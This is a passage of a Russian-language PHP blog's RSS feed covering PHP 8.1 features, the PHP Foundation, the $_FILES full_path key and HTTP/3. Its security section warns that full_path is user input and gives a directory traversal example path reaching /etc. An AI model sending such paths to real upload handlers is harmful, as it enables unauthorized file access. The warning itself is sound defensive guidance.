016 === 0O16; // true</code></pre><h2>Enums (Перечисления)&nbsp;<a href="https://wiki.php.net/rfc/enumerations" target="_blank" style="background-color: rgb(255, 255, 255);">rfc</a></h2><p><a href="https://sergeymukhin.com/blog/php-81-enums-perecisleniya" target="_blank">Перечисления</a> будут добавлены в PHP 8.1.</p><p>Добавление перечислений было бы значительным улучшением в PHP, поэтому я, со своей стороны, с нетерпением жду дальнейшего развития этого RFC. Чтобы вы могли быстро увидеть, как они будут выглядеть, вот пример кода:</p><p><br></p><pre class="line-numbers"><code class="language-php">enum Status {
  case Pending;
  case Active;
  case Archived;
}</code></pre><p>И вот как они будут использоваться:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Order
{
    public function __construct(
        private Status $status = Status::Pending;
    ) {}

    public function setStatus(Status $status): void
    {
        // …
    }
}

$order-&gt;setStatus(Status::Active);</code></pre><h2>Fibers <a href="https://wiki.php.net/rfc/fibers" target="_blank">rfc</a></h2><p><a href="https://sergeymukhin.com/blog/php-81-fibers" target="_blank">Файберы</a> - также известные как «<a href="https://en.wikipedia.org/wiki/Green_threads" target="_blank">зеленые потоки</a>» - это низкоуровневый механизм управления параллелизмом. Вероятно, вы не будете использовать их непосредственно в своих приложениях, но такие фреймворки, как Amphp и ReactPHP, будут широко их использовать.</p><p>Вот простой пример использования файберов:&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">$fiber = new Fiber(function (): void {
    $valueAfterResuming = Fiber::suspend('after suspending');
    
    // … 
});
 
$valueAfterSuspending = $fiber-&gt;start();
 
$fiber-&gt;resume('after resuming');</code></pre><p>&nbsp;</p><h2>Улучшения производительности <a href="https://github.com/php/php-src/pull/6627" target="_blank">pr</a></h2><p>Дмитрий Стогов добавил некоторые улучшения в opcache, он называет это "кешем наследования". Эта функция позволяет кэшировать ссылки между классами, так же как связанные классы могут быть предварительно загружены в PHP 7.4.</p><p>Дмитрий сообщает о приросте производительности от 5% до 8% благодаря этому изменению, приятная небольшая деталь, на которую следует обратить внимание в PHP 8.1.</p><p><br></p><h2>New в инициализаторах <a href="https://wiki.php.net/rfc/new_in_initializers" target="_blank">rfc</a></h2><p>Этот RFC позволяет использовать&nbsp;<span style="font-size: 1rem;">ключевое слово&nbsp;</span>new в определениях функций в качестве параметра по умолчанию, а также в аргументах атрибутов и в других местах.</p><p><br></p><pre class="line-numbers"><code class="language-php">class MyClass {
    public function __construct(
        private Logger $logger = new Logger(),
    ) {}
}</code></pre><p>Более подробно можно почитать зде<a href="https://sergeymukhin.com/blog/php-81-operator-new-v-inicializatorax" target="_blank">сь</a>.&nbsp;</p><h2>Свойства только для чтения <a href="https://wiki.php.net/rfc/readonly_properties_v2" target="_blank">rfc</a></h2><p>Свойства класса могут быть помечены как <a href="https://sergeymukhin.com/blog/php-81-svoistva-tolko-dlya-cteniya" target="_blank">доступные только для чтения</a>, что означает, что они могут быть записаны только один раз.</p><p><br></p><pre class="line-numbers"><code class="language-php">class PostData {
    public function __construct(
        public readonly string $title,
        public readonly DateTimeImmutable $date,
    ) {}
}</code></pre><p>Попытка изменить свойство только для чтения после его инициализации приведет к ошибке:</p><p>&nbsp;</p><pre class="line-numbers"><code class="language-php">$post = new Post('Title', /* … */);

$post-&gt;title = 'Other';

<span style="background-color: rgb(255, 0, 0);">Error: Cannot modify readonly property Post::$title</span></code></pre><h2>Первоклассный вызываемый синтаксис <a href="https://wiki.php.net/rfc/first_class_callable_syntax" target="_blank">rfc</a></h2><p>Теперь можно будет выполнить закрытие вызываемого объекта, вызвав этот вызываемый объект и передав (...) в качестве аргумента:</p><p><br></p><pre class="line-numbers"><code class="language-php">function foo(int $a, int $b) { /* … */ }

$foo = foo(...);

$foo(a: 1, b: 2);</code></pre><p>&nbsp;</p><h2>Типы чистых пересечений <a href="https://wiki.php.net/rfc/pure-intersection-types" target="_blank">rfc</a></h2><p>Вы уже знаете о типах объединения в PHP 8.0, и типы пересечений представляют собой аналогичную функцию. Если для типов объединения требуется, чтобы входные данные были одного из заданных типов, для типов пересечений входные данные должны быть всех указанных типов. Типы пересечений особенно полезны, когда вы работаете с большим количеством интерфейсов:</p><p>Типы пересечений в настоящее время изначально не поддерживаются языком. Вместо этого нужно использовать аннотации phpdoc и/или использовать типизированные свойства , как показано в следующем примере:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Test {
    private ?Traversable $traversable = null;
    private ?Countable $countable = null;
    /** @var Traversable&amp;Countable */
    private $both = null;
 
    public function __construct($countableIterator) {
        $this-&gt;traversable =&amp; $this-&gt;both;
        $this-&gt;countable =&amp; $this-&gt;both;
        $this-&gt;both = $countableIterator;
    }
}</code></pre><p>Типы чистых пересечений, позволяют указать с использованием синтаксиса T1&amp;T2&amp;... и их можно использовать везде там, где в настоящее время принимаются&nbsp;<span style="font-size: 1rem;">типы</span>:</p><p><br></p><pre class="line-numbers"><code class="language-php">function generateSlug(HasTitle&amp;HasId $post) {
    return strtolower($post-&gt;getTitle()) . $post-&gt;getId();
}</code></pre><p>Если вам нравится этот стиль программирования, вам нужно будет создать новый&nbsp;<span style="font-size: 1rem;">Sluggable</span>&nbsp;интерфейс и реализовать его в $post, типы пересечений избавляются от этих накладных расходов.</p><h2>Константы финального класса <a href="https://wiki.php.net/rfc/final_class_const" target="_blank">rfc</a></h2><p>Константы классов в PHP можно переопределить во время наследования:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Foo
{
    public const X = "foo";
}
 
class Bar extends Foo
{
    public const X = "bar";
}</code></pre><p>Начиная с PHP 8.1, вы можете пометить такие константы final, чтобы предотвратить это:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Foo
{
    final public const X = "foo";
}
 
class Bar extends Foo
{
    public const X = "bar";
    
<span style="background-color: rgb(255, 0, 0);">Fatal error: Bar::X cannot override final constant Foo::X</span>

}</code></pre><p>&nbsp;</p><h2>Новое значение $_FILES full_path для загрузки каталога</h2><p>$_FILES- это суперглобальная переменная в PHP,&nbsp;&nbsp;до PHP 8.1 массив $_FILES содержал относительные пути в файловой системе пользователя для учета подкаталогов, содержащих файлы с одинаковыми именами.&nbsp;В PHP 8.1 $_FILES содержит новый ключ с именем full_path, который содержит полный путь, указанный браузером.</p><p><br></p><pre class="line-numbers"><code class="language-php">var_dump($_FILES);

array(1) {
  ["myupload"]=&gt; array(6) {
    ["name"]=&gt; array(2) {
      [0]=&gt; string(8) "file.txt"
      [1]=&gt; string(8) "file.txt"
    }
    ["full_path"]=&gt; array(2) {
      [0]=&gt; string(19) "foo/test1/file.txt"
      [1]=&gt; string(19) "foo/test2/file.txt"
    }
    ["tmp_name"]=&gt; array(2) {
      [0]=&gt; string(14) "/tmp/phpV1J3EM"
      [1]=&gt; string(14) "/tmp/phpzBmAkT"
    }
    // ... + error, type, size
  }
}</code></pre><p>&nbsp;Здесь вы можете почитать более подробно о <a href="https://sergeymukhin.com/blog/php-81-files-novoe-znacenie-full-path-dlya-zagruzki-katalogov" target="_blank">новом ключе full_path</a>.</p><h2>Критические изменения</h2><p>Хотя PHP 8.1 является последующей версией после PHP 8, все же будут внесены некоторые изменения, которые технически могут быть критическими, а также устаревшими. Давайте обсудим их по очереди.</p><h2>Типы возвращаемых значений интегрального метода</h2><p>Скорее всего, вы можете столкнуться с этим уведомлением об устаревании при обновлении до PHP 8.1:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">Return type should either be compatible with IteratorAggregate::getIterator(): Traversable, 
or the #[ReturnTypeWillChange] attribute should be used to temporarily suppress the notice</code></pre><p>Вы можете заметить, эта ошибка выскакивают при использовании phpunit/phpunit, symfony/finder и некоторых других популярных пакетов с открытым исходным кодом. Произошло то, что внутренние функции начали использовать правильные возвращаемые типы. Если вы расширяете класс из стандартной библиотеки (например, IteratorAggregate), вам также необходимо добавить эти возвращаемые типы.</p><p>Исправление простое: обновите код вашего vendor, если ошибка возникает в стороннем пакете (большинство из них уже исправлены в последних выпусках). Если ошибка возникает в вашем коде, вы можете добавить&nbsp;<span style="font-size: 1rem;">атрибут</span>&nbsp;ReturnTypeWillChange, подавляя ошибку до PHP 9.0. Вот пример расширения класса DateTime:&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">class MyDateTime extends DateTime
{
    /**
     * @return DateTime|false
     */
    #[ReturnTypeWillChange]
    public function modify(string $modifier) 
    { 
        return false; 
    }
}</code></pre><p>Или вы можете просто добавить тип возврата:</p><p><br></p><pre class="line-numbers"><code class="language-php">class MyDateTime extends DateTime
{
    public function modify(string $modifier): DateTime|false 
    { 
        return false; 
    }
}</code></pre><p>&nbsp;&nbsp;</p><h2>Ограничить использование $GLOBALS<span style="font-size: 1rem;">&nbsp;</span><a href="https://wiki.php.net/rfc/restrict_globals_usage" target="_blank" style="background-color: rgb(255, 255, 255);">rfc</a></h2><p>Небольшое изменение способа&nbsp;<span style="font-size: 1rem;">использования</span>&nbsp;$GLOBALS&nbsp; существенно повлияет на производительность всех операций с массивами. Никита Попов отлично справляется с объяснением проблемы и решения в RFC . Это изменение означает, что в некоторых крайних случаях работать с&nbsp;<span style="font-size: 1rem;">$GLOBAL&nbsp;</span><span style="font-size: 1rem;">больше</span>&nbsp;нельзя. </p><blockquote>«То, что больше не поддерживается, - это запись в $GLOBALS, взятую как единое целое<span style="font-size: 1rem;">»</span>.</blockquote><p>Все нижеперечисленное вызовет ошибку времени компиляции:<br></p><p><br></p><pre class="line-numbers"><code class="language-php">$GLOBALS = [];
$GLOBALS += [];
$GLOBALS =&amp; $x;
$x =&amp; $GLOBALS;
unset($GLOBALS);</code></pre><p>Кроме того, передача $GLOBALS по ссылке вызовет ошибку времени выполнения:</p><p><br></p><pre class="line-numbers"><code class="language-php">by_ref($GLOBALS); // Run-time error</code></pre><p>Никита проанализировал 2000 лучших пакетов на сайте packagist и нашел только 23 случая, на которые повлияет это изменение. Можно сделать вывод, что влияние этого технически критического изменения будет незначительным, поэтому internals решили добавить его в PHP 8.1. Помните, что большинство из нас выиграет от этого изменения, учитывая положительное влияние на производительность, которое оно оказывает во всем нашем коде.&nbsp;</p><h2>Перенос Ресурсов в объекты</h2><p>Эти изменения являются частью долгосрочного видения преобразования всех ресурсов в выделенные объекты. Вы можете прочитать об этом <a href="https://github.com/php/php-tasks/issues/6" target="_blank">здесь</a>.</p><p>Fileinfo функции с&nbsp;<span style="font-size: 1rem;">объектами</span>&nbsp;finfo.&nbsp;Функции вроде finfo_file и finfo_open используются для приема и возврата ресурсов. Начиная с PHP 8.1, они работают с&nbsp;<span style="font-size: 1rem;">объектами&nbsp;</span>finfo.</p><p>Функции IMAP с&nbsp;<span style="font-size: 1rem;">объектами</span>&nbsp;IMAPConnection.&nbsp;Как и при изменении информации о файле, IMAP работает как imap_body, а imap_open больше не работает с ресурсами.</p><h2>Устарела передача null не null-ых аргументов внутренним функциям&nbsp;<a href="https://wiki.php.net/rfc/deprecate_null_to_scalar_internal_arg" target="_blank">rfc</a></h2><p>Это изменение простое: внутренние функции в настоящее время принимают null аргументы, которые не допускают значения NULL, этот RFC не рекомендует такое поведение. Например, сейчас это возможно:</p><p><br></p><pre class="line-numbers"><code class="language-php">str_contains("string", null);</code></pre><p>&nbsp;В PHP 8.1 такие ошибки будут вызывать предупреждение об устаревании, в PHP 9 они будут преобразованы в ошибки типа.</p><p><br></p><h2>Автовивификация на false <a href="https://wiki.php.net/rfc/autovivification_false" target="_blank">rfc</a></h2><p><i>PHP изначально допускает автовивификацию (автоматическое создание массивов из ложных значений). Эта функция очень полезна и используется во многих проектах PHP, особенно если переменная не определена. Однако есть небольшая странность, позволяющая создать массив из ложного и нулевого значения.</i></p><p>Вы можете прочитать подробности на странице RFC. Таким образом, это поведение устарело:</p><p><br></p><pre class="line-numbers"><code class="language-php">$array = false;

$array[] = 2;

Automatic conversion of false to array is deprecated</code></pre><p>&nbsp;</p><h2>Другие небольшие изменения</h2><p>Вот краткое изложение наиболее значительных изменений:</p><p><br></p><ul><li>MYSQLI_STMT_ATTR_UPDATE_MAX_LENGTH больше не действует</li><li>MYSQLI_STORE_RESULT_COPY_DATA больше не действует</li><li>PDO::ATTR_STRINGIFY_FETCHES теперь также работает с логическими значениями</li><li>Целые числа и числа с плавающей запятой в наборах результатов PDO MySQL и Sqlite будут возвращаться с использованием собственных типов PHP вместо строк при использовании эмулированных подготовленных операторов.</li><li>Такие функции, как htmlspecialchars и htmlentities&nbsp; по умолчанию,&nbsp;также переходят 'в &amp;#039;; неверно сформированный UTF-8 также будет заменен символом Юникода вместо того, чтобы приводить к пустой строке</li><li>У hash, hash_file и hash_init есть дополнительный аргумент&nbsp; $options, по умолчанию он имеет значение&nbsp;[], поэтому не повлияет на ваш код.</li><li>Новая поддержка для MurmurHash3 и xxHash</li></ul><div><br></div><p><br></p><hr><p>&nbsp;На данный момент это все, имейте в виду, что я буду регулярно обновлять этот пост в течение года, поэтому можете следить за этим постом.</p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/47</guid>
                <pubDate>2021-11-25T12:56:15+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA["Новая жизнь" PHP - PHP Foundation]]></title>
                <link>https://sergeymukhin.com/blog/novaya-zizn-php-php-foundation</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">"Новая жизнь" PHP - PHP Foundation</h1><blockquote>Многие члены сообщества PHP, включая JetBrains, сегодня объявляют о создании PHP Foundation для продолжения разработки языка.</blockquote><p>Помимо них, в список участников входят Automattic, Laravel, Acquia, Zend, Craft CMS, Private Packagist, Tideways и PrestaShop.</p><p>Фонд PHP будет некоммерческой организацией, чья миссия состоит в том, чтобы обеспечить долгую жизнь и процветание языка PHP путем финансирования штатных и не только разработчиков, которые вносят свой вклад в язык. Фонд можно поддержать на странице&nbsp;<a href="https://opencollective.com/phpfoundation" target="_blank">Open Collective</a>.&nbsp;&nbsp;Только JetBrains уже внесла взнос в размере 100 000 долларов США в год.</p><p>Одна из причин этого решения заключается в том, что Никита Попов, один из ключевых участников, решил переключить свое внимание с PHP на LLVM. Никита Попов начал работать над PHP в 2011 году и работал над PHP в JetBrains почти три года, внося значительный вклад в три основных релиза - PHP 7.4, PHP 8.0 и PHP 8.1.&nbsp;Хотя идея возникла не впервые в сообществе PHP, с тех пор она витала в воздухе и окончательно конкретизировалась с объявленным уходом Никиты.<br></p><p>По словам инициаторов, следующие шаги - это поиск необходимых пожертвований и этап подачи заявки. Фаза приложения уже началась и направлена ​​на поиск разработчиков ядра PHP, а собранные Фондом средства могут быть использованы для оплаты их труда, с целью дальнейшего развития языка. Основная задача Фонда будет заключаться в финансировании разработчиков, работающих над PHP.<br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/65</guid>
                <pubDate>2021-11-23T09:27:47+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP 8.1: оператор new в инициализаторах]]></title>
                <link>https://sergeymukhin.com/blog/php-81-operator-new-v-inicializatorax</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP 8.1: оператор new в инициализаторах</h1><blockquote>В PHP 8.1 добавлена интересная ​​функция, которая на первый взгляд может показаться мелочью, но я думаю, что она будет оказывать значительное повседневное влияние на многих людей.</blockquote><p>Так в чем же польза от&nbsp; оператора new в инициализаторах? Давайте посмотрим на пример, раньше мы все писали такой код:</p><p><br></p><pre class="line-numbers"><code class="language-php">class MyStateMachine
{
    public function __construct(
        private ?State $state = null,
    ) {
        $this-&gt;state ??= new InitialState();
    }
}</code></pre><p>В этом примере с конечным автоматом мы хотели бы построить наш класс двумя способами: с начальным состоянием и без него. Если мы построим его без начального состояния, мы хотим, чтобы было установлено состояние по умолчанию. PHP,&nbsp; конечно, поддерживает установку начальных значений непосредственно в списке параметров, но только для примитивных типов. Например, если бы наш конечный автомат использовал строки вместо объектов внутри, мы могли бы написать его конструктор следующим образом:</p><p><br></p><pre class="line-numbers"><code class="language-php">class MyStateMachine
{
    public function __construct(
        private string $state = 'initial',
    ) {
    }
}</code></pre><p>Таким образом, с PHP 8.1 мы можем использовать тот же синтаксис «значения по умолчанию» и для объектов. Другими словами: вы можете использовать new для аргументов по умолчанию (которые являются одним из примеров «инициализаторов»):&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">class MyStateMachine
{
    public function __construct(
        private State $state = new InitialState(),
    ) {
    }
}</code></pre><p>&nbsp;«Инициализаторы» - это больше, чем значения параметров по умолчанию, вот простое объяснение из RFC:</p><blockquote>Этот RFC предлагает разрешить использование новых выражений внутри значений параметров по умолчанию, аргументов атрибутов, инициализаторов статических переменных и инициализаторов глобальных констант.</blockquote><p>Да, вы правильно прочитали: атрибуты тоже есть в этом списке! Представьте себе простую библиотеку проверки, которая использует атрибуты для проверки ввода свойств. Возможно, она должна иметь возможность проверять элементы массива, примерно так:</p><p><br></p><pre class="line-numbers"><code class="language-php">class CreateEmailsRequest extends FormRequestData
{
    #[ValidArray(
        email: [new Required, new ValidEmail],
        name: [new Required, new ValidString],
    )]
    public array $people;
}</code></pre><p>До PHP 8.1 вы не могли писать такой код, потому что вам не разрешалось использовать new в атрибутах из-за способа их оценки, но теперь вы можете!&nbsp;</p><p>Давайте взглянем на некоторые важные детали, о которых стоит упомянуть.</p><h2>Создание только при необходимости</h2><p>Такого рода «новые значения» будут создаваться только тогда, когда это действительно необходимо. Это означает, что в нашем первом примере PHP создаст только новый объект, если InitialState не содержит аргументов:</p><p><br></p><pre class="line-numbers"><code class="language-php">class MyStateMachine
{
    public function __construct(
        private State $state = new InitialState(),
    ) {
    }
}

new MyStateMachine(new DraftState()); // InitialState не создается
new MyStateMachine(); // Сейчас создается</code></pre><p>В случае атрибутов, например, объекты будут созданы только при newInstance вызове <a href="https://sergeymukhin.com/blog/atributy-v-php-8" target="_blank">атрибута отражения</a>.&nbsp;</p><h2>Не в свойствах класса</h2><p>Также вы должны знать, что не можете использовать&nbsp;<span style="font-size: 1rem;">new&nbsp;</span>значение по умолчанию в свойствах класса. Поддержка этой функции привела бы к множеству непредвиденных побочных эффектов, например, при сериализации и десериализации объектов:</p><p><br></p><pre class="line-numbers"><code class="language-php">class MyStateMachine
{
    private State $state = new InitialState();
}</code></pre><p>Сначала кажется, что это большое упущение, но к счастью, это решается с помощью <a href="https://sergeymukhin.com/blog/php-8-prodvizenie-svoistv-konstruktora" target="_blank">объявления свойства в конструкторе</a>, которые допускают значение по умолчанию, поскольку PHP будет переносить синтаксис объявления свойств, сохраняя значение по умолчанию в аргументе конструктора, но не фактически в свойстве:</p><p><br></p><pre class="line-numbers"><code class="language-php">class MyStateMachine
{
    private State $state;
    
    public function __construct(
        State $state = new InitialState(),
    ) {
        $this-&gt;state = $state;
    }
}</code></pre><h2>Ограниченный ввод</h2><p>Возможно, вы уже догадались, но вы можете передать только ограниченный набор входных данных при создании новых объектов в инициализаторах. Например, вы не можете использовать переменные, оператор распаковки, анонимные классы и т.д.</p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/64</guid>
                <pubDate>2021-10-11T05:29:50+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP 8.1: $_FILES: Новое значение full_path для загрузки каталогов]]></title>
                <link>https://sergeymukhin.com/blog/php-81-files-novoe-znacenie-full-path-dlya-zagruzki-katalogov</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP 8.1: $_FILES: Новое значение full_path для загрузки каталогов</h1><blockquote>В PHP 8.1 $_FILES будет содержать новый ключ с именем full_path, который содержит полный путь к файлу, указанный браузером.</blockquote><p>$_FILES -&nbsp;<a href="https://www.php.net/manual/en/reserved.variables.files.php" target="_blank">суперглобальная переменная</a> PHP. Она содержит имена, размеры и MIME-типы файлов, загруженных в текущем HTTP-запросе.</p><p>В полях загрузки HTML-файла можно загрузить весь каталог с&nbsp;<span style="font-size: 1rem;">атрибутом</span>&nbsp;webkitdirectory. webkitdirectory- это атрибут HTML, который можно использовать в элементах HTML input с расширением type=file. Это не стандарт браузера, но его поддерживают все основные браузеры, включая Chrome 6+, Firefox 50+, Edge 13+ и Safari 11.1+.</p><p><br></p><pre class="line-numbers"><code class="language-html">&lt;form action="" method="post" enctype="multipart/form-data"&gt;
    &lt;input name="files[]" type="file" webkitdirectory multiple /&gt;
    &lt;input type="submit" /&gt;
&lt;/form&gt;</code></pre><p>До PHP 8.1 $_FILES содержали относительные пути в файловой системе пользователя для учета подкаталогов, содержащих файлы с одинаковыми именами.&nbsp;&nbsp;Например, если пользователь загружает&nbsp;<span style="font-size: 1rem;">каталог</span>&nbsp;foo, значение&nbsp;<span style="font-size: 1rem;">name</span>&nbsp;<span style="font-size: 1rem;">массива</span>&nbsp;$_FILES содержит только имя файла без относительного пути:</p><p><br></p><pre class="line-numbers"><code class="language-textile">foo
 ├── dir1
 │    └── file.txt
 └── dir2
      └── file.txt</code></pre><p>Если посмотрим содержимое&nbsp;$_FILES:</p><p><br></p><pre class="line-numbers"><code class="language-php">var_dump($_FILES);</code></pre><p><br></p><pre class="line-numbers"><code class="language-php">array(1) {
  ["files"]=&gt; array(6) {
    ["name"]=&gt; array(2) {
      [0]=&gt; string(8) "file.txt"
      [1]=&gt; string(8) "file.txt"
    }
    ["tmp_name"]=&gt; array(2) {
      [0]=&gt; string(14) "/tmp/phpK1J4UI"
      [1]=&gt; string(14) "/tmp/phpgRqHHs"
    }
    // ... так же содержит поля error, type, size
  }
}</code></pre><p>&nbsp;До PHP 8.1 было невозможно принять каталог как файл, загруженный из браузера пользователя, и сохранить их с точной структурой каталогов или получить доступ к относительным путям, потому что PHP не передавал эту информацию в массиве&nbsp;<span style="font-size: 1rem;">$_FILES</span>.</p><p>В PHP 8.1 такая возможность появилась, благодаря новому ключу с именем full_path, который содержит полный путь, указанный браузером.</p><p><br></p><pre class="line-numbers"><code class="language-php">var_dump($_FILES);</code></pre><pre class="line-numbers"><code class="language-php">array(1) {
  ["files"]=&gt; array(6) {
    ["name"]=&gt; array(2) {
      [0]=&gt; string(8) "file.txt"
      [1]=&gt; string(8) "file.txt"
    }
    ["full_path"]=&gt; array(2) {
      [0]=&gt; string(19) "foo/dir1/file.txt"
      [1]=&gt; string(19) "foo/dir2/file.txt"
    }
    ["tmp_name"]=&gt; array(2) {
      [0]=&gt; string(14) "/tmp/phpK1J4UI"
      [1]=&gt; string(14) "/tmp/phpgRqHHs"
    }
    // ... + error, type, size
  }
}</code></pre><pre class="line-numbers"><code class="language-php"><br></code></pre><p>&nbsp;</p><p>Имея&nbsp;<span style="font-size: 1rem;">информацию из</span>&nbsp;full_path, можно сохранить относительные пути или восстановить тот же каталог на сервере.<br></p><p>В приведенном выше примере&nbsp;<span style="font-size: 1rem;">массив</span>&nbsp;$_FILES['files']['full_path'] содержит путь к загруженному файлу, включая его путь. Это более полезно в отличие от&nbsp;<span style="font-size: 1rem;">массива</span>&nbsp;$_FILES['files']['name'], который содержит повторяющиеся записи, потому что оба dir1 и dir2 содержат файл с тем же именем file.txt.&nbsp;&nbsp;</p><blockquote>Временный путь для загруженных файлов ($_FILES['files']['tmp_name']) остается уникальным и не сохраняется во вложенных каталогах. Можно безопасно продолжать использовать&nbsp;значения tmp_name с функцией move_uploaded_file.<br>Массив full_path будет всегда существовать для всех загрузок файлов, включая стандартные одиночные или множественные загрузки файлов, и в некоторых случаях будет просто идентичен массиву name.</blockquote><h2>Повышение безопасности</h2><p>PHP анализирует только информацию об относительном пути, отправленную браузером, и передает эту информацию в&nbsp;<span style="font-size: 1rem;">массив&nbsp;</span>$_FILES. Нет гарантии, что значения в&nbsp;<span style="font-size: 1rem;">массиве</span>&nbsp;full_path&nbsp; содержат реальную структуру каталогов, и приложения PHP не должны доверять этой информации.</p><blockquote>Значения в массиве full_path вводятся пользователем, и им нельзя доверять!</blockquote><p>Приложения, которые принимают загрузку каталога и хранят файлы в соответствии со&nbsp;<span style="font-size: 1rem;">значениями</span>&nbsp;full_path, должны обеспечить&nbsp;<span style="font-size: 1rem;">правильную проверку информации в</span>&nbsp;full_path, перед перемещением загруженных файлов во вложенный каталог.</p><p>Некоторые варианты угроз:</p><ul><li>Атаки с обходом каталогов, отправляя путь, который ведет к другому каталогу, например foo/../../../etc/password.</li><li>Атаки на исчерпание ресурсов, отправляя путь с глубоко вложенными путями, например foo/a/a/a/a/a/a/a/a/a/a/a/a/a.jpg, или очень длинное имя, которое приведет к ограничению пути в определенных файловых системах.</li><li>Нарушение целостности из-за предоставления имени файла, которое не может быть создано, например CON, недопустимое имя файла - Файловые системы Windows.</li></ul><p>Чтобы предотвратить такие атаки, всегда ограничивайте уровень вложенности, убедитесь, что файл не существует перед записью, и запрещайте пути, которые позволяют обход каталога. Кроме того, ни в коем случае нельзя удалять стандартные проверки содержимого файла (такие как проверка расширения файла и типов MIME).</p><h2>Влияние на обратную совместимость</h2><p><span style="font-size: 1rem;">Ключ массива&nbsp;</span>full_path в $_FILES - это новая функция в PHP 8.1. Существующие значения массива&nbsp;<span style="font-size: 1rem;">name</span>&nbsp;не изменяются, и они продолжают содержать только имя файла без пути к файлу.</p><p><br></p><h3>Использование full_path в более старых версиях PHP</h3><p>К сожалению, нет простого способа перенести эту функциональность в более старые версии PHP.</p><p>Для загрузки файлов требуется наличие&nbsp;<span style="font-size: 1rem;">в форме</span>&nbsp;HTML&nbsp;<span style="font-size: 1rem;">атрибута </span>enctype="multipart/form-data". Из-за этого атрибута PHP поток в&nbsp;php://input&nbsp;будет пустой, потому что PHP заполняет суперглобальные переменные $_POST и $_FILES и опустошает php://input поток. Это исключает получение предоставленной браузером информации о пути к файлу при чтении&nbsp;<span style="font-size: 1rem;">потока&nbsp;</span>php://input.</p><p>Однако директива&nbsp;enable_post_data_reading=0&nbsp; в PHP INI - запрещает PHP заполнять $_POST и $_FILES, оставляя таким образом значения потока&nbsp;<span style="font-size: 1rem; background-color: rgb(255, 255, 255);">php://input</span><span style="font-size: 1rem;">&nbsp;</span>нетронутыми. В качестве хак-подхода, можно парсить запрос необработанного HTTP и заполнять $_POST и $_FILES массивы или объектов&nbsp;<span style="font-size: 1rem;">PSR-7</span>&nbsp;HTTP запроса. Эта информация содержит предоставленный браузером относительный путь к файлу.&nbsp;</p><p>В качестве альтернативы, было бы проще постепенно улучшать взаимодействие с пользователем в веб-браузерах, используя клиентский подход JavaScript для отправки содержимого файлов и путей к файлам в отдельном поле.</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/61</guid>
                <pubDate>2021-10-01T10:06:58+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[HTTP 3 - Что такое QUIC?]]></title>
                <link>https://sergeymukhin.com/blog/http-3-chto-takoe-quic</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">HTTP 3 - Что такое QUIC?</h1><blockquote>Поговорим о новой версии протокола HTTP - HTTP/3, что он нам даст и чем отличается от предыдущих своих собратьев</blockquote><p>Итак, все мы знаем что такое HTTP. Если вдруг кто забыл, HTTP, или протокол передачи в виде гипертекста, является основой Интернета и универсальным протоколом для передачи текстовых данных. Вы, несомненно, использовали его, поскольку веб-сайт, на котором вы сейчас читаете о HTTP, использует этот самый HTTP.</p><h2>Немного истории HTTP</h2><p>Тим Бернерс-Ли создал его в 1989 году, а в 1991 году он получил название HTTP/0.9. HTTP/0.9 был ограничен и мог выполнять только базовые функции. Он не мог возвращать ничего, кроме веб-страницы, не поддерживал файлы cookie и другие современные функции. В 1996 году был выпущен протокол HTTP/1.0, который принес некоторые новые функции, такие как&nbsp;<span style="font-size: 1rem;">POST</span>&nbsp;запросы и возможность отправлять что-то, кроме веб-страницы. Однако до сегодняшнего дня было еще далеко. </p><p>HTTP/1.1 был выпущен в 1997 году и дважды пересматривался: один раз в 1999 году и один раз в 2007 году. Он принес много важных новых функций, таких как файлы cookie и сохраняющиеся соединения. Наконец, в 2015 году был выпущен протокол HTTP/2, который позволил повысить производительность, сделав такие вещи, как события отправки сервером и возможность отправлять несколько запросов за раз. HTTP/2 все еще нов и используется только чуть меньшей половины всех сайтов.</p><p><img src="https://sergeymukhin.com/files/blog/2021/http-3-quic-vs-tcp-i-s-cem-ix-edyat-xs4g71.png">&nbsp;</p><h2>HTTP/3: новейшая версия HTTP</h2><p>Здесь в игру вступает HTTP/3, HTTP/3 или HTTP поверх QUIC концептуально сильно меняет HTTP. HTTP традиционно выполняется через TCP, протокол управления передачей. Однако TCP был разработан в 1974 году, на заре Интернета. Когда TCP был первоначально создан, его авторы не могли предсказать рост Интернета. Из-за того, что TCP устарел, TCP на какое-то время ограничил HTTP как в скорости, так и в безопасности. Теперь, благодаря новому стандарту HTTP/3, HTTP больше не ограничен. Вместо TCP HTTP/3 использует новый протокол, разработанный в 2012 году Google, который называется QUIC («Квик»). Это вводит много новых функций в HTTP.</p><p>Потоки QUIC используют одно и то же соединение QUIC, поэтому для создания новых не требуются дополнительные квитирования и медленные запуски, потоки QUIC доставляются независимо, так что в большинстве случаев потеря пакетов, влияющая на один поток, не влияет на другие. Это возможно, потому что пакеты QUIC инкапсулируются поверх дейтаграмм UDP.</p><p>Использование UDP обеспечивает гораздо большую гибкость по сравнению с TCP и позволяет реализациям QUIC полностью жить в пользовательском пространстве - обновления реализаций протокола не привязаны к обновлениям операционных систем, как в случае с TCP.</p><p><img src="https://sergeymukhin.com/files/blog/2021/http-3-quic-vs-tcp-i-s-cem-ix-edyat-bUmxde.png"></p><p><br></p><h3>Более быстрое мультиплексирование запросов</h3><p>До HTTP/2 браузеры могли отправлять на сервер только один запрос за раз. Это значительно замедлило загрузку веб-сайта, потому что браузер загружал только один ресурс, например файлы стилей CSS или JavaScript. HTTP/2 представил 